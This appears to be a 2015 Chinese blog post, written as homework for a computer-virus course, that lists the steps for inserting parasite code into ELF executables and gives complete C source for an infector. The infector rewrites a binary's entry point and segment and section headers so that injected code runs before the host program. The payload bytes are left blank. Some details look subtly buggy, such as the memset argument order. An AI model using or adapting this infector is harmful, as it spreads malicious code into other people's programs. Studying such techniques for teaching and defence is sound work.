注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

一个二进制代码注入器(用于感染ELF文件)  

2015-01-15 12:15:34|  分类: linux学习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
《计算机病毒》课的一个作业,写的很菜,主要参考Silvio Cesare的《Unix ELF parasites and virus》,在这次作业中,我跟据这篇文章最终提出的几条修改内容编写了自己的病毒注入模块,主要是修改ELF头结构以及段头结构,节头结构中的一些项,以达到插入病毒代码的目的。利用一段示例的二进制代码作为病毒进行演示。本次达到的目的是编程实现ELF文件感染器,并没有写出真正的病毒代码,只是实现第一部感染过程。使测试代码先于被感染的程序执行。
 
我们需要对ELF文件做的修改:
1 修正"ELF header"中的 e_shoff ,增加 PAGESIZE 大小
2 修正寄生代码的尾部,使之能够跳转回宿主代码原入口点 定位"text segment program header"
3 修正 "ELF header"中的 e_entry ,指向 p_vaddr + p_filesz
4 修正 p_filesz
5 修正 p_memsz
6 对于文本段phdr之后的其他phdr 修正 p_offset ,增加 PAGESIZE 大小
7 对于文本段的最后一个shdr 修正sh_size,增加寄生代码大小
8 对于那些因插入寄生代码影响偏移的每节的shdr 修正 sh_offset ,增加 PAGESIZE 大小
9 在文件中物理地插入寄生代码以及填充(确保构成一个完整页)到这个位置 text segment p_offset + p_filesz (original)。
 
代码:
 

/*
ELF infector source file
Student:

Student ID:
Class:

*/

#include <stdio.h>
#include <stdlib.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

//Define PAGESIZE,default 4K byte

#define PAGESIZE 4096

//Parasite Virus Code.The code is copied from Internet.

char Virus[]={/*Binary code for test*/};


int infect(char *ElfFile);
//The size of Virus Code
int VirusSize=sizeof(Virus);

int jmppoint=/*Jump point of binary code of Virus*/;


//Infector Function

int infect(char *ElfFile)
{
    int result=0;
    int Re;
    int FileD;
    int TmpD;
    int OldEntry;
    int OldShoff;
        int OldPhsize;
        int i=0;

    Elf32_Ehdr elfh;
    Elf32_Phdr Phdr;
    Elf32_Shdr Shdr;
    
    //Open ELF file and read the elf header part to &elfh

    FileD=open(ElfFile,O_RDWR);
    read(FileD,&elfh,sizeof(elfh)); 
    if((strncmp(elfh.e_ident,ELFMAG,SELFMAG))!=0)
        exit(0);

        //Old entry of original elf file

    OldEntry=elfh.e_entry;
        //Old section header offset of elf file

    OldShoff=elfh.e_shoff;
    
    //modify the Virus code line"movl "Oldentry",%eax" to jump to old entry

    //after the Virus code excuted

        *(int *)&Virus[jmppoint]=OldEntry;
    
    //Increase e_shoff by PAGESIZE in the ELF header

    elfh.e_shoff += PAGESIZE;
        
    //if Virus Size is too large

    if (VirusSize > (PAGESIZE-(elfh.e_entry%PAGESIZE)))
                exit(0);
    
    int Noff=0;
    //The loop of read and modify program header

    for(i=0;i<elfh.e_phnum;i++)
    {
        
                //seek and read to &Phdr 

     lseek(FileD,elfh.e_phoff+i*elfh.e_phentsize,SEEK_SET);
                read(FileD,&Phdr,sizeof(Phdr));
        if(Noff)
        {
            //For each phdr who's segment is after the insertion (text segment)

            //increase p_offset by PAGESIZE                

            Phdr.p_offset += PAGESIZE;

            //write back

            lseek(FileD,elfh.e_phoff+i*elfh.e_phentsize,SEEK_SET);
            write(FileD,&Phdr,sizeof(Phdr));
        }

        else if(PT_LOAD == Phdr.p_type && Phdr.p_offset==0)
        {
            if (Phdr.p_filesz != Phdr.p_memsz)
                exit(0);
            // Locate the text segment program header

         //Modify the entry point of the ELF header to point to the new

         //code (p_vaddr + p_filesz)

            elfh.e_entry = Phdr.p_vaddr + Phdr.p_filesz+4;
            lseek(FileD,0,SEEK_SET);
            
            //Write back the new elf header

            write(FileD,&elfh,sizeof(elfh));
            OldPhsize=Phdr.p_filesz;
            Noff=Phdr.p_offset+Phdr.p_filesz;
            
            //Increase p_filesz by account for the new code (parasite)

            Phdr.p_filesz += VirusSize;
            
            //Increase p_memsz to account for the new code (parasite)    

            Phdr.p_memsz += VirusSize;
            
            //write back the program header

            lseek(FileD,elfh.e_phoff+i*elfh.e_phentsize,SEEK_SET);
            write(FileD,&Phdr,sizeof(Phdr));
        }
    }
    lseek(FileD,OldShoff,SEEK_SET);

    //The loop of read and modify the section header

    for(i=0;i<elfh.e_shnum;i++)
    {

        lseek(FileD,i*sizeof(Shdr)+OldShoff,SEEK_SET);
        Re=read(FileD,&Shdr,sizeof(Shdr));
                
                if (i==1)
        {
            //For the last shdr in the text segment

            //increase sh_size by the virus size    

            Shdr.sh_size += VirusSize;
        }
                else if(i!=0)
        {
            //For each shdr whoes section resides after the insertion

            //increase sh_offset by PAGESIZE                

            Shdr.sh_offset += PAGESIZE;
        }
                        
        //Write Back

        lseek(FileD,OldShoff+i*sizeof(Shdr),SEEK_SET);
        write(FileD,&Shdr,sizeof(Shdr));

    }
        
    //To get the file size FileStat.st_size

    struct stat FileStat;
    fstat(FileD,&FileStat);

    char *Data=NULL;
    Data=(char*)malloc(FileStat.st_size-OldPhsize);

    lseek(FileD,OldPhsize,SEEK_SET);
    read(FileD,Data,FileStat.st_size-OldPhsize);

    //Insert the Virus Code to the elf file

    lseek(FileD,OldPhsize,SEEK_SET);
    write(FileD,Virus,sizeof(Virus));
        char tmp[PAGESIZE]={0};
    
    //Pad to PAGESIZE

        memset(tmp,PAGESIZE-VirusSize,0);
        write(FileD,tmp,PAGESIZE-VirusSize);

    write(FileD,Data,FileStat.st_size-OldPhsize);
    result=1;

    free(Data);

    return result;            
        
}

//Just for test

int main(int argc,char **argv)
{
      //How to use it

      if (argc!=2)
      {
        printf("Usage : infect <ELF filename>\n");
                exit(0);
      }
    
      int test=infect(argv[1]);
      if(test != 1)
      {
     exit(0);
      } 
    return 0;
}

  评论这张
 
阅读(90)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017